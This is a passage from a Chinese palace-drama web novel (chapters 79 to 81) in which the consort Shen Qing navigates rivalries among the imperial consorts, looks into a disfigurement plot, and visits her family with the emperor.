沈青猜测着兴许和贤妃有关,林嫔被这催情的东西坑过,至今恩宠寥寥,而贤妃与林嫔走得近,说不定就会知道这一信息。 而能将消息传到皇后耳边,宫里也没几个有这种手段了。 以皇后的能力早晚会查出来,沈青便也不多嘴,有时候笨一点或许更讨人喜欢。 皇后叹道:“是本宫对不住你。” 原来是这样,皇上误认为她在沈青身上使了腌臜手段才甩袖离去。 若非后面沈青笼络住了皇上,恐怕她不仅被蒙在鼓里,还被有心人一箭双雕,既废了沈青这枚棋子,也与皇上离心了。 沈青不赞同皇后这句话:“娘娘说得哪里的话,最可恨的是算计此事的人,娘娘也是担心臣妾办事不利才这般打算的。” 皇后是真喜欢沈青这张巧嘴,于是在沈青提出见大皇子时,她也干脆利落应下了。 并笑道:“璨儿现在已经会说简单的话了,每日活泼的不行。” 沈青夸道:“活泼好啊,身子骨壮,将来皇上亲自教大皇子骑射。” 皇上对大皇子寄予厚望也是皇后所希望的,因此对沈青的话默默赞许。 大皇子被抱了过来,紀璨已经快要一岁了,在学走路,只是走起来身体打摆。 皇后温言细语:“璨儿,这是你的沈昭仪娘娘。” 紀璨学语道:“沈娘娘!” 沈青心都快化了,夸道:“娘娘的大皇子教的可真好。” 她原本想趁着见纪璨时见賦雪一面,但纪璨身边没有賦雪,她才恍然记起赋雪只是跟在大皇子身边一段时间,现在许是回御前了。 便专心和纪璨说话。 等以后再和赋雪打听玉嫔在太子府的事。 第79章 第79章昭仪四日 从皇后的坤宁宫离开,沈青回到承乾宫草草吃了几口便去补覺了。 白桃侍奉着她卸了妆面,将帷幔放下,讓殿内仅留了几名宫人以保持静谧。 此时承乾宫里,下朝后就讓人将坤宁宫請安时发生的事报给了他的纪宸,看着眼前递过来的逐条对话与众人反應,沈青伶俐的模样仿佛浮在眼前,他难得怔愣住了。 “这消息是否有误?” 在纪宸眼中,沈青可是一等一良善的女子,温柔似水进退得宜,只除了在他面前会有些无伤大雅的娇纵。 沈青去請安,他只担心后宫那一些各怀鬼胎的嫔妃将他 的人给欺负了,万万没想到会是现在这种情况。 怎么说呢,他心中竟覺出了欣慰。 纪宸眼底漫起不明显的笑意。 钱继未敢抬头,不明确皇上的态度,斟酌着道:“奴才也是检查了两三遍,确实是这样,許是昭儀娘娘和皇后交好,才与贤妃和德妃多说了些话。” 贤妃和德妃雖位份比沈昭儀高,但沈昭儀的字字句句可没有出言不逊,便是贤妃去找太后也是做不了主的。 钱继在心中赞了沈青一句聪慧。 只是这样一来便显得沈青不是那样高洁纯粹了,倒像是位心机美人,也不知皇上是作何感想。 纪宸淡淡道:“昭儀确实和皇后关系好。” 为了皇后不惜一次性得罪德贤二妃,真不知道皇后给她下了什么迷魂药,看着聪明实则可太笨了。 此话一出,钱继感受到了皇上话中的不悦,便不知該如何接话了。 幸而皇上也不在意他怎么回话,问道:“昭仪在干什么?” 钱继早打探好了,就等皇上问了:“昭仪娘娘回了承乾宫,用了膳,便歇下了。” 歇下了……纪宸摸了摸鼻子:“讓昭仪好好歇一歇,下午唤昭仪来乾清宫一趟,你去的时候从库里挑些東西送去。” 钱继当即應下,便明白皇上与沈昭仪是没有嫌隙的- 长春宫中,二皇子小脸红红的躺在木制摇篮中,何才人忧愁不已。 二皇子是众人去往避暑山庄后开始不适的,何才人也怀疑过皇后,可皇后都已经离开了皇城,她私底下又是皇后的人,皇后实在没什么理由对二皇子下手。 而贤妃,也因二皇子生病被搞的焦头烂額,为了不担一个照顾不利的罪名,二皇子最严重的那几日,还是贤妃衣不解帶陪着,人都憔悴了几分。 皇上没在皇宫,贤妃也不是做给皇上看的,許是真对二皇子的病情心里没底。 贤妃亦不可能出手害二皇子,二皇子已经是贤妃的儿子了,贤妃必不会想二皇子摊上一个病弱的名头。 至于其他人,连孩子都没有,单害二皇子也达不到目的啊。 等到德妃的堂妹顺利产下三皇子,何才人才惊覺宫中竟隐了这样一位高位嫔妃。 她入宫时间短,对这位不给皇后面子,常常呆在永寿宫的德妃印象浅淡。 直到李美人因生了三皇子而晋为婕妤,三皇子抱养在德妃膝下,何才人这才发现二皇子生病真正得利的是德妃。 若二皇子不生病,贤妃曾无意念叨过永寿宫守的也太严实了这种话,三皇子也不会那么平安地生下来。 何才人曾给贤妃试探地提了德妃,雖贤妃当时没说话,但她眼中一闪而过的狠厉也是表明了对德妃的态度。 許是二皇子生过重病,所以这两个月身体一直断断续续不见好,何才人都要恨死德妃一派的人了。 不过眼下最重要的反倒是讓贤妃与蒋美人离心。 眼见着蒋美人灰溜溜从贤妃身邊离开,贤妃眉头紧锁,只有在看向二皇子时才有几瞬的松神。 何才人道:“这蒋美人从避暑山庄回来心气便高了,眼中看不见娘娘养育二皇子的辛劳,反倒一个劲儿撺掇娘娘收拾沈氏。” “从才人被封为美人当真是不一样了,听闻在山庄蒋美人亦是請了太后给她做主,可她又算什么玩意儿,娘娘您才是太后的亲侄女!” 贤妃厌烦道:“她不过一个蠢货,你跟她计较什么?” 何才人心想蒋美人都能攀上太后,哪会是个蠢的,垂眼道:“嫔妾只是为娘娘不值,况且蒋美人既然蠢,若真心尊重娘娘,心里就得有些数,话便不应該那么多,徒惹娘娘心烦。” 贤妃无言,算是认同何才人的话,但她现在左支右绌,又哪里管得了蒋美人。 她吩咐宫人道:“抱着二皇子,随本宫去一趟禦前。” 德妃事情做的干净,等她发现不对时,已经找不出什么证據,但没关系,她去皇上面前哭一哭闹一闹,将养育二皇子的辛劳说出来,德妃也别想好过。 反正她的性子,皇上表哥是知道的,早有预期,心里便会宽容许多。 且皇上回来,先来她这里看了二皇子,还并未见到三皇子,在皇上心中,她或许是比德妃重。 再者,趁着这个机会别让皇上忘了她。 另一邊,沈青醒来时便已是晌午了,钱继过来了一趟,送来的東西摆在了殿内,需等她过目才会登册收入库中。 “皇上要本宫去禦前?” 沈青就着白桃的手喝了一口水,思考起皇上的意思。 既送了东西,应是不恼她请安时的所作所为,至于让她去乾清宫,她就想不明白了。 纪宸既然把她抬到昭仪的位置,大约也不想她是个废物,不然他会疲于处理她的事。 所以沈青觉得,她早上的表现还算合格。 白桃道:“奴婢给御前的公公抓了一把金瓜子,那公公说皇上的态度跟往常无异,不好不坏。” 沈青点了点头,那就好。 这时,白樱回来了,帶来了一则消息:“娘娘,贤妃带着二皇子去了一趟御前。” 沈青抿唇,贤妃不会是玩不起吧?她可就忽略了她一次,别是去告她的状。 “先摆膳吧,待本宫收拾妥当再去乾清宫。” 宫人依言行事。 时间转眼已至午后,沈青发间仍是那支金钗,见镜中的女子花颜月貌方满意了。 等到了乾清宫,钱继已经在等着了。 见到她连忙上前,低声快語:“皇上现在脾气不太好,需要您小意哄着。” 沈青轻眨了下眼睛:“因为贤妃?” 这没什么可隐瞒的,钱继利落承认道:“贤妃走后,皇上便不太愉快。” 数次问他昭仪来了没,可皇上明明说的是让昭仪下午到,却在午膳前便开始询问。 沈青了然,觉得贤妃八成是告她黑状了,然后皇上觉得为难,情绪不免露出了几分。 贤妃再怎么,也是皇上的表妹,这身份,宫中不知多少人嫉妒,如果贤妃不犯大错,此后一生都会是养尊处优。 进入殿中,钱继在一侧引着,沈青很快找到了纪宸。 她蔫头耷脑,低低地换了一声皇上。 看着不大高兴的样子。 纪宸看向她,亦注意到了她戴的金钗。 “这是怎么了?”他让沈青坐到他身边。 【早上在坤宁宫不还是容光焕发吗?】 沈青心道果真是寻她请安时的错处。 当即語气就更沮丧了:“您找臣妾来不就是想训臣妾吗?” 既然要挨训,她怎么高兴得起来? 莫名地,纪宸读懂了沈青的意思,因贤妃而带来的不快就这么散了几分,他好笑道:“朕为什么要训你?” 沈青抿着唇,理所应当道:“臣妾在请安时惹得贤妃不快,贤妃之后来御前找您,不就是要告臣妾的状吗?” 她飞快地看了纪宸一眼,漂亮的脸蛋上带着别扭。 原来是心虚了……纪宸的心软了下来,拍了拍沈青的背,让她放松:“没有人告你的状,你请安时做得很好,朕只会觉得欣慰。” 沈青的表情瞬间灵动起来:“真的?” “真的不能再真。” 沈青满意了。 “那皇上为何不高兴?”她撒娇般询问。 纪宸记得他并未将坏情绪带给沈青,沈青能知道他不高兴,只能是钱继说的,于是他扫了一眼钱继。 钱继将头埋的更深了,他不说,昭仪走了谁来哄? 纪宸握着她白净柔嫩的手:“因二皇子的病一直不见好,朕心里急。” 【贤妃没找到证據暗指二皇子是因德妃而生病,虽有道理,但凡事得凭证据,不然贤妃就太无用了。】 【德妃……】 纪宸对德妃的感观复杂,那确实是有野心且聪明的人,当初入太子府便是奔着后位而来,但相比德妃,他更信任手段浅显的皇后。 沈青疑惑道:“臣妾记得二皇子是足月生的,生下来时身子骨比大皇子还壮,这是惹了什么病症,拖拖拉拉到现在,不知道二皇子得多难受。” 她叹了口气:“皇上问过太医了吗,太医怎么说?” “太医院总说尽力尽力,朕看他们全是吃干饭的!”纪宸语气重了许多。 沈青柔声宽慰:“皇上莫急莫气,现下最要紧的还是让太医找到病症,二皇子一直不见好,是接触了什么吗?太医的医术有目共睹,非平庸之辈,或许这次是真的棘手了。” 这件是说与沈青也无妨,纪宸心里这么想,道:“在贤妃走后 ,朕就让御前的人去查二皇子接触了什么,若查不出来便先将二皇子用过的东西全部换一遍。” 沈青也是这么想的,既怀疑德妃又找不到证据,只能是德妃做的隐蔽,查是不太好查,但可以将二皇子身边的人或物全部换一遍,二皇子赶紧好起来才是最要紧的。 能算计到小孩子身上,如果真是德妃做的,德妃当不成皇后反倒是后宫的幸事。 看着纪宸越拧越紧的眉,沈青转移了话题:“皇上还未给三皇子起名,不如想想起什么名字好?” 三皇子的名字耽误到现在,是纪宸的不该。 德妃又是真沉得住气,到现在也没和皇上商议。 钱继见此让小太监端来了笔墨纸砚,纪宸提起笔,缓缓写下一个慎字。 纪慎。 沈青目光一凝,很快她便反应过来笑眯眯将这张纸拿走,团吧团吧握在手里:“这个字不好,而且跟大皇子、二皇子不像是兄弟,皇上再起一个吧。” 再是想敲打德妃,也不该在小孩子身上做筏子,这般,三皇子将来怎么做人? 纪宸是爽了,德妃是失魂落魄了,那三皇子呢? 纪宸看向沈青,略作沉眉,不辨喜怒。 钱继冷汗都快下来了,沈昭仪这话分明是说皇上错了,但皇上又怎么会错呢? 沈青见此,不见忐忑,倾身轻啄了一下纪宸的唇角:“皇上学识渊博,再想一个定然很轻易。” 当写下那一个字的时候,纪宸心里是迁怒了,想着德妃怎会教出一个正直的皇子,但现在冷静下来,才察觉不妥。 他向来是喜怒不形于色,这还是第一次想直白表达出喜恶。 但三皇子又何其无辜? 纪宸再次落笔,确定了三皇子的名字,纪珹,便让钱继安排此事。 钱继下去,纪宸才硬邦邦问:“为何要阻止朕?” 沈青柔软回道:“臣妾想让皇上一直都是个好皇帝,好父皇。臣妾虽不明白皇上为何要取一个慎字给三皇子,但臣妾知道,日后旁人议论于三皇子时,定会议论于皇上。” “这对皇上不好,也不是臣妾希望看到的。” 所以便阻止了。 而且纪宸若一直是好皇帝,懂得约束自己,伴驾的她也轻松许多。 纪宸的額头抵上沈青的额头:“好姑娘。” 【傻姑娘。】 【这哪里是个妖妃的苗子,分明傻的可怜。】 本以为会得个良善印象的沈青:“……” 气得想挠纪宸! 第80章 第80章昭仪五日 因二皇子生病牵扯着德妃賢妃与两位皇子,纪宸心情低落,虽未表露,但从声音就能察覺出一二。 沈青不急去找賦雪姑姑,便在纪宸身边陪着。 她好像一个大抱枕,被纪宸抱在怀里,一下一下抚着背,像是在顺毛。 沈青原本还精神抖擞地想,纪宸这样的举动,跟她无聊时抱猫没什么差别,这是拿她调节心情了。 渐渐地,也許是秋日天气舒适,也許是纪宸的怀里太过温暖,她竟睡了过去。 纪宸看着怀里的人,在心中感叹,恐怕只有沈青才会在他身边这么松弛,其他人不是战战兢兢,就是无趣到一举一动都是经过精心设計。 他调整了姿势,讓沈青在怀里睡得更舒服一些。 纪宸手指划过沈青的眉眼,一如她以往待他那样,覺得怎么看也看不够。 沈青抚着头醒来时,恰好是钱全忠回御前禀报关于二皇子的事。 她被钱全忠的声音惊醒了。 纪宸食指已经放到了唇边,还没来得及示意钱全忠低声,便发现沈青醒了。 钱全忠的声音頓住。 沈青懊恼地低声问纪宸:“皇上,臣妾怎么睡着了?” 她还想多在纪宸身边刷刷存在感,这一睡,全没了。 “薰炉里加了安神的香。” 沈青恍然,心道怪不得睡得这么舒坦,便整理了下衣裳体贴道:“皇上有事,那臣妾就先走了。” 纪宸原本想拉沈青留下来听钱全忠如何说,但转念一想,宫里害人的阴私暴露在她面前,她会害怕,便应允了。 沈青笑了笑,带着睡足了的舒心:“皇上,臣妾想见賦雪姑姑一面。” 纪宸将她的簪子簪正,没问缘由,道:“讓钱繼带着你去。” 沈青的笑容更大了,匆匆行了一礼:“谢谢皇上!” 纪宸见此略有片刻怔愣,再回神便见她已经跟着钱繼离开了,不由失笑。 他竟然有一瞬被沈青的美貌惑了神。 賦雪的住處很幽静,沈青见到她时,她正在品尝糕点,见人来优雅地抿掉了嘴唇上沾着的点心。 沈青从白桃那里抓了一把金瓜子塞到賦雪手中:“赋雪姑姑,之前麻烦您了。” 赋雪犹豫过后便收下了,沈青的家底颇丰,而她出宫得多攒些银钱。 去照顾大皇子,给皇上和沈青行方便,她便从皇上那里得了丰厚的赏赐。 誰会嫌金子多呢,赋雪道:“何必道麻烦二字,您是主子,我是奴婢,本就是奴婢该做的。” 她这句话说得很自然,丝毫不覺得这么说有什么不对。 宫里本就尊卑悬殊,她若一直留在宫里,即便在御前地位超然,但见到位份最低的主子宝林,表面也得恭恭敬敬,不叫人挑出差错。 沈青笑盈盈道:“赋雪姑姑,本宫此次前来,是有件事想询问您。” 赋雪自称奴婢,她没必要纠正,但赋雪于她而言是前辈,她也得对赋雪尊重。 反正各论各对誰都好。 赋雪流露出疑惑。 沈青继续道:“是关于玉嫔在太子府时的事,您知道多少?” 赋雪看了一眼离此處远远的,尚守着沈青的钱继,心道应是皇上默許了,组织了下语言将她知道的和盘托出。 玉嫔姓衛名鸣鸾。 是太子府的老人,但在太子府时没什么可称道的,当时还是太子的皇上忙于前朝政事,彼时先皇怠于朝政,做太子的一忙,进后宅的次数就少了,纵然姬妾长得再美,也没时间欣赏。 太子府后宅没有争斗,但却出了一件事,那事也与玉嫔有些干系。 当时衛家是送了两名女子进太子府,其中一位衛氏貌美无比,却不慎染了恶疾,毁了容貌,就连身上都溃烂了,虽最终请了太医遏制住了,但容貌终究没法恢复,便向太子请辞,离开了太子府。 当年送那名衛氏离开,还是赋雪经手办的。 她道:“可惜了那么好的容貌,不然那卫氏在宫中或许会有一席之地。” 沈青心中有了猜测:“玉嫔和那名卫氏长相相仿?” 赋雪回忆着说:“两人的面庞有三四分相似,当年玉嫔年纪较小,容貌上比起被送走的卫氏自然差一些,但也是个美人。” 沈青思忖着,有更貌美的卫氏在前,誰又能記得玉嫔这个小卫氏呢。 如此,玉嫔害人容貌的动机便有了。 纪宸当日说过的话也有了缘由,只是不知道,纪宸明明清楚玉嫔做过什么事,为何还给她恩宠与位份? 若说纪宸不在乎嫔妃是好是壞,又不太像。 賢妃德妃皇后三个人手上都不干净,纪宸应是知道些的,去她们宫中的次数还没去一个普通才人那里多。 德妃与皇后就罢了,但賢妃在对怀孕的皇后出手前,恩宠不比旁人差,自从被罚后,虽地位依旧,但皇上去长春宫的次数比以前的一半还少。 所以玉嫔与那名卫氏应有些不得已的缘由在里面。 比如当初还是高美人的兰婕妤对杜宝林落井下石,因事出有因,皇上便从未过问或责罚过高美人。 不过得了这个消息,今日也不算白来一趟。 沈青又给赋雪抓了一把金瓜子,这才带着白桃离开乾清宫。 这日晚上,皇上并未翻牌子,但賢妃上午去乾清宫呆了一阵,沈昭儀便在下午去乾清宫呆了许久。 落到翌日请安的人眼中,便有些打擂台的意味了。 沈青还在琢磨玉嫔的事,等感受到众人落到她与贤妃身上微妙的视线,与贤妃对她微抬的下巴时,这才意识到了此事。 她对贤妃莞尔一笑,并不太在意。 贤妃还有身体不见好的二皇子和德妃等着她焦头烂额呢,何况再来找她麻烦? 再一次被忽视……虽沈青表现得不明显,但贤妃还是感觉出来了,然而她现在确实抽不出手好好教训沈青一頓,口头上她又占不到便宜,但她会記着今日的屈辱。 请安结束,沈青讓白桃叫住了兰婕妤。 陈美人眸光一闪,顿感不妙。 昨日直言问沈昭儀家世的是她,但对方却一反常态叫走了兰婕妤。 兰婕妤眉间微皱,不明白沈青叫她干什么,但她并未对沈青出言不逊,或是出手算計,便坦坦荡荡赴约了。 陈美人想跟上去,却被白桃拦了下来:“陈美人,昭儀娘娘说了,只见兰婕妤一人。” 陈美人目光暗沉,后悔起昨天惹沈昭儀做什么,平白挑起了她的兴趣。 估计是察觉到了什么,也不是什么人都跟兰婕妤一样…… 兰婕妤向沈青走来,沈青并未坐轿辇,她对兰婕妤笑道:“本宫与兰婕妤一见如故,不知可否邀请婕妤去亭子内一叙?” 兰婕妤看着这个分外无害的沈昭仪,想了想,点头应下。 到了亭子内,两人坐下,宫人取来了糕点茶水摆在中间的桌子上。 沈青开门见山道:“邀婕妤前来,只是有一事不明,陈美人屡次出言挑衅婕妤,婕妤難道不生气?” 兰婕妤一提这事便心生郁闷:“怎会不气?” 她估计着是因陈美人昨日的话得罪了沈昭仪,沈昭仪才来寻她的,便补充道:“但陈美人滑的跟泥鳅似的,并不容易抓到错处。” 谈起陈美人,兰婕妤整个人都冒着寒气。 一年多了,她过得这都是什么日子! 沈青如做壞事般轻声道:“陈美人家世不显,如果从这方面着手,也能省许多麻烦。” 沈青才封昭仪都能想到,她如何想不到?兰婕妤脱口而出:“我怎么没做,……” 她猛然沉默,自知说了不该说的,脸色難看,但她看了沈青一眼,发现沈昭仪似仍在思索怎么对付陈美人,坏心思都表现在了脸上,并没有意识到她的停顿。 这才缓了神色。 一个人当坏人,和两个人都是坏人,还是不一样的。 兰婕妤心中与沈青的距离一下子就拉近了,她试探道:“昭仪娘娘可有什么计划?” 沈青微笑:“兰婕妤不妨让人查查陈美人与家中的关系,本宫觉得症候许是出现在了这上面。” 兰婕妤一直都冷着的脸明显一愣:“您是说陈美人与家中关系不好?” 沈青心想兰婕妤的性子也太直了,怪不得陈美人逮住她一个人薅。 她颔首默认。 兰婕妤的神色一下子就难看了,这世道,谁又能与家中翻脸,况且她们入宫做嫔妃的,都是家中举全族之力培养的,亦不可能让她们寒了心。 所以她下意识以为陈美人和陈家是一体的,陈家不好过,陈美人在宫中也不会舒心。 “她太可恶了。”兰婕妤暗暗磨牙,反应过来了。 沈青的视线落到兰婕妤脸上,眼见着她的神态生动了许多,少了几分寒气,这是被气出表情了? 她目光一顿:“兰婕妤耳后是被蚊子咬了?” 被沈青告知了这么一个大消息,兰婕妤对她自然有问有答:“是啊,谁成想从避暑山庄回来,宫里还有蚊子,嫔妾不过昨日去了御花园一趟,便遭了罪。” 沈青笑道:“本宫让人给你送一盒药膏,上一次被蚊子咬的还是嫣婕妤……” 说的是去年夏天嫣婕妤香包出问题那件事,涉及此事的惠贵嫔被降为了林嫔,嫣婕妤从贵人升为了婕妤,并迁宫到了现在的永和宫西偏殿怡和殿中。 “嫣婕妤那次险些毁容,好在嫔妾这次不严重,但确实得上些药膏。” 沈青正是对毁容这两个字敏锐的时候,当下就将这件事与玉嫔联系了起来,发现不是没有可能。 这事虽已了解,但当时的林嫔仍喊着冤,也并未有直接的证据表明是林嫔做的,且嫣婕妤的表现也有些急躁了。 想在回想起来,处处透着可疑。 沈青顺势问道:“嫣婕妤那次的事可有后续?” 兰婕妤道:“嫣婕妤那时进宫没多长时间,根基浅,查不出什么,换了几名宫人便没下文了,若她没那么心急求皇上定林嫔的罪,说不定有御前的人在,再查一查,还能查出是谁下的手……嫔妾的意思是嫔妾不觉得是林嫔要毁嫣婕妤的容貌。” 她心直口快,一时竟将心中的猜测说了出来。 未免沈昭仪听不懂,还补充了一句。 当时她、林嫔、嫣婕妤同在一宫,看得就更清楚了,知道林嫔的冤枉,但也不太冤,谁让她磋磨一名宠妃呢? “本宫明白你的意思,那日的事本宫看得糊涂,现在经婕妤解惑这才知道了真相。”沈青恍然大悟,不吝啬对兰婕妤大方夸赞起来。 兰婕妤觉得和沈昭仪说话实在太舒坦了,旁的嫔妃不喜和她搭话,唯一能说话的还是个陈美人,她都快要闷死了。 而让她和宫人说话,她也是不愿的。 沈青和兰婕妤约好了等兰婕妤查出消息,她们便在承乾宫见面。 临走时,沈青道:“本宫在宫里没什么能平常交谈的人,今日和兰婕妤一聊,才觉出了宫中有好姐妹的滋味。” 兰婕妤仍旧高冷,她道:“娘娘不嫌嫔妾心直口快即可。” 沈青笑着道了声怎会,才与兰婕妤分别。 回承乾宫的路上,有一个活泼的宫女问:“娘娘很高兴?” 沈青昨日才问过她的名字,知道她叫余甘,很是好记,纵容地笑了笑:“能在宫中有人一起说话闲聊,实在是一幸事。” 余甘的脸红红的,昭仪娘娘笑起来可真好看! 沈青目视前方,欣赏着像水润洗过的湛蓝天空。 她高兴,更是因为找到了玉嫔的马脚。 兰婕妤的话印证了她的猜想,那件事确实有问题,真正出手害嫣婕妤容貌的人还未查到。 而能对嫣婕妤容貌下手的,自不会是和嫣婕妤一同入宫的新妃,正如兰婕妤所说,她们根基尚浅,再排除德妃和皇后,有能力的便只剩贤妃和玉嫔了。 至于兰婕妤,若她有这心,第一个下手的绝对会是陈美人,但陈美人仍旧活蹦乱跳,说明兰婕妤手段根本不行。 这样的人相处起来也放心。 而贤妃有太后皇上做靠山,不靠容貌争宠,若要出手早出手了,也不会这么婉转。 不管是不是玉嫔做的,嫣婕妤是个聪明人,她只需稍稍暗示,嫣婕妤自己就会怀疑上玉嫔,进而想顺着玉嫔查清真相。 既要查玉嫔,那她和玉嫔间就彻底有了裂痕。 嫣婕妤和玉嫔在避暑山庄结下的 合作哪能经得起这样的风浪?【你现在阅读的是 】 80-90 第81章 第81章昭仪六日 九月,沈青的册封大典举行,沈昭儀的名号不止局限在了皇宫,而是传遍了京城。 不少人家知道了一名宫女一步登天成了昭儀娘娘,还是名实实在在的宠妃。 月初便收到信的沈家人这才恍恍惚惚信了。 不是说只是进宫当宫女嗎?怎么摇身一變,成了昭儀娘娘? 再一看自家这个自从被分家分出来后便一蹶不振,年初因为大女儿送出宫的金子才开始走上坡路,前段时间还给沈青青写信隐晦夸耀过家中一切皆好,待她出宫便可享福的沈家一干人等臉紅了。 京中一条普通的街巷。 不知是不是错覺,最近总有人乘着马车,拎着礼物来拜访这一户人家,虽这户人家也住着气派的宅子,但就是一商户,在京中实在不怎么起眼,至多与富商沈家有些联系。 可再怎么着,也不至于当官的都来了,即便刚走的那位大人官衔很低。 一个少年见马车走后,这才从拐角走了出来,甩了甩袖子往家里走去,好事的街坊连忙叫住他:“秀秀,怎么不知道你家在朝中还有关系?” 沈秀秀回头,露出秀气俊逸的臉庞,还未长成便可见日后的俊美,平日旁人叫他秀秀便臭着一张臉的他难得眉头舒展:“嗐,只是赚了点钱就被拐了不知道多少弯的姻亲找上门,我们还得躲着他走,这算什么关系。” 沈秀秀话里话外透露着是因为赚了钱的原因,街坊的注意力便立刻转在了这上面,只是没什么嫉妒,反而劝道:“既挣了钱,可别让你爹再给霍霍了。” 街坊都是商户,对沈父不忍直视的经商能力有所了解。 偏偏还喜歡撞南墙,要他们说,把沈家的家业交给沈秀秀,兴许还能继续小富即安。 沈秀秀应了下来,他爹着实不是块行商的好料子,但生下的他却继承了沈家优良血脉,从小就会拨算盘,加之去年年末阿姊送回家的钱,他爹不好意思动,才叫他得了机会重振沈家。 尤还记得他成功后他爹诧异的眼神,似乎重新認識了他一遍,沈秀秀就知道他爹有多不靠谱了。 不过想起阿姊,竟不声不响从一个宫女混成了昭仪,他这也不算什么了。 阿姊被封昭仪,便提前告诉了他们要低调一点,阿姊不是无的放矢的人,这么说必有缘由,于是他们便默不作声将此事瞒了下来,不招摇炫耀。 但街坊不知道,富商沈家却是清楚的,与沈家有姻亲的官员不知怎么也得了消息,频频上门拜访。 他们只能闭门谢客。 商贾的身份还是太低了。 正当沈秀秀连敲了几下,准备出声让老仆开门时,一辆马车驶入了眼帘。 他不耐蹙眉,但因为马车上的装饰太过价值不菲,不似寻常人能得到,且周圍还有侍卫,便探究地看了几眼。 马车停驻,下来了一名训练有素的婢女。 沈秀秀自是不認識,扬声道:“马伯,是我,开门!” 马车上的人正是沈青,白桃刚下去不久,她便听到了这个声音,入宫五年,许多事已经物是人非,但这道声音还是让她感到熟悉。 沈青起身,已经迫不及待想下去看看这少年的模样。 沈家门口,马伯,错不了。 谁知旁邊却伸过来一只手,握住了她的手腕:“再等等,等确認了人,再下去。” 免得空歡喜一场。 与沈青一同前来的正是纪宸,纪宸默不做声帶她离了宫,来了这里,因纪宸手里拿着书在看,沈青还真没摸清他的心思,只是想着纪宸要帶她出宫玩。 毕竟她可是宠妃,再怎么荣宠都不为过。 只是眼见着周圍越来越热闹熟悉,心中这才有了妄想。 沈青没去试探纪宸的心思,心脏早已被各种情绪填满,酸酸胀胀,又夹杂着欢心。 “好。”她笑着应了一声,弯成月牙的眼睛落到纪宸身上。 手心的湿润暴露了她的忐忑。 白桃朝沈秀秀走近,因马伯年纪大,腿脚不利索,现在还没来开门。 白桃问道:“请问您是沈家二郎沈秀秀嗎?” 沈秀秀冷着脸:“我不是。” 白桃恍若未闻,仍是笑的模样:“我家昭仪想见你一面。” 宫中仅有一位昭仪……沈秀秀骤然睁大了眼睛:“我是!阿姊在哪儿?”这般问着,视线已经往马车那邊飘去。 见白桃没有否认,他一扭头往马车处跑去,到了马车邊才慢下来,整整衣襟,矜持道:“阿姊,我是二郎。” 只说了两句话,沈秀秀便蓦地红了眼。 阿姊说她要进宫时,家里其乐融融鼓励她在宫中也能闯出一番天地的场面还在眼前,后来阿姊在宫中人微言轻,是嫔妃宫里的宫女,出头的可能性很小,他们便描摹着出宫后的日子。 只是一年仅有几次的书信,交流总归隔了一层。 但在心底,沈秀秀觉得他与阿姊没有生疏,阿姊进宫时,他又不是不知事。 马车被掀开,先下来的并不是阿姊,而是一个淡漠威仪的男人,轩昂自若卓尔不群。 纪宸扫了一眼兀自警惕的沈家二郎,与沈青有些相似面容让他稍稍缓了神色,但也没有和他交谈的兴致。 纪宸探出手,准备扶沈青下来。 沈青将手放到纪宸掌心,矮身从马车上下来,刚站定,便听到一声清亮的阿姊。 她面前站着一名比她高些的少年郎,但身姿仍旧单薄,模样很秀气。 沈青迟疑道:“秀秀?” 她完全认不出来了,因沈家伙食不差,她娘又受不了不吃肉的日子,沈家的几个孩子一个比一个圆乎。 所以沈青进宫时也是面容可爱,且有很大力气的,这才被分到了织云殿干活。 沈青瞬间紅了眼眶:“家中连饭都吃不起了吗?” 还骗她说什么一切皆好,早知道她就带几块金饼回来了,也好解他们的燃眉之急。 沈青认不出沈秀秀,沈秀秀又如何能将这个天仙似的人与阿姊对上。 然而阿姊的一句话瞬间让他感受到了熟悉。 他羞涩地挠了挠头:“吃得起,大鱼大肉也不会少,只是爹娘都瘦,咱也胖不到哪儿去。” 沈青心想也是,不自在地擦了擦眼。 沈秀秀问道:“这位是?” 联想到阿姊的身份已经不一般,并不能和外男相處,那么这个人的身份便呼之欲出了。 他满脸震惊,一时之间竟不知道该行什么礼,整个人都僵住了。 他接触到有身份的人最多也是官员之子,连厉害些的官员都没见过几面,更遑论面对皇上了。 沈青见他后知后覺意识到,便不再多说什么,笑吟吟道:“不请阿姊回家坐坐吗?” 马伯已经将门打开,远远看着此處,像是在确认什么。 沈秀秀识趣地弯了脊背,引着沈青往家里走:“这是阿姊的家,随时都可以回来,无需我这个做弟弟的请,娘他们都在家中。” 沈青闻言期待起来,牵起纪宸的手,跟着沈秀秀往家里走。 她低声对纪宸道:“委屈您了。” 她二弟没有拜见皇上,可不就委屈了纪宸么。 沈秀秀不懂,她得为之周全些。 纪宸捏了捏沈青的手,并不觉得。 他是将沈家的人都查了一遍,知道他们没什么壞心思,这才带着沈青走一趟,也是散散心。 在宫中呆久了,沈青的心思也變得重了起来。 这可不是他所期望的,他更想沈青变得无忧无虑起来,总不能身份高了,却多了忧虑。 那岂不是显得他很没用? 边往里走,沈青边将家中的人介绍给纪宸,即便纪宸可能提早了解过了。 “臣妾家中除了二弟沈秀秀,还有两名妹妹,分别行三行四,名唤沈蓉蓉与沈婉婉,臣妾与家人喜欢唤她们蓉妹和婉妹,她们比臣妾小四岁,是一对双生子,但模样却并不相似,性格也天差地别,如今约莫有十二三岁了。” “除此之外,还有小了臣妾将近八岁的五弟沈蕭蕭,臣妾进宫时,他不过三岁,胖墩墩的,特别沉,臣妾并不爱抱他。” 沈青的语气中带着雀跃,让人忍不住猜想这几个弟妹该有多大的变化,纪宸露出了笑容,觉得很有趣。 若干年后,她估计也是这么形容他们的孩子的。 听到纪宸的想法,沈青心中一顿,什么孩子……那都多久以后的事了。 她默默红了耳根。 感受到纪宸喜欢这些,沈青的话便多了起来,滔滔不绝到一名美妇人听到动静走了出来,这才止了声。 妇人身后跟着两名小姑娘,好奇地看着非富即贵的一行人。 “母亲、蓉妹、婉妹。”沈青遏制住想哭的冲动,含笑着喊人。 沈母,也就是李雁怔愣地看向沈青,目光一遍遍看 着她的眉眼,找寻着熟悉的影子:“青青?” 沈秀秀口快道:“是阿姊。” “二哥壞,要你说!”一个爽朗的小姑娘毫不客气地开口,正是蓉妹,她凑过来,挤到沈秀秀和沈青的中间,揽住沈青的胳膊:“阿姊,我也能长你这么漂亮吗?” 她的脸圆圆的,沈青忍不住摸上去,手感可真好:“当然了,咱们爹娘长的好,蓉妹兴许比阿姊还漂亮。” 婉妹也走了过来,因沈青另一边还站着纪宸,她并不敢过去,便直接抱住了沈青的腰:“阿姊,我也想你了。” 沈青费了好大力气才安抚好两个妹妹,软绵且依赖地看向母亲。 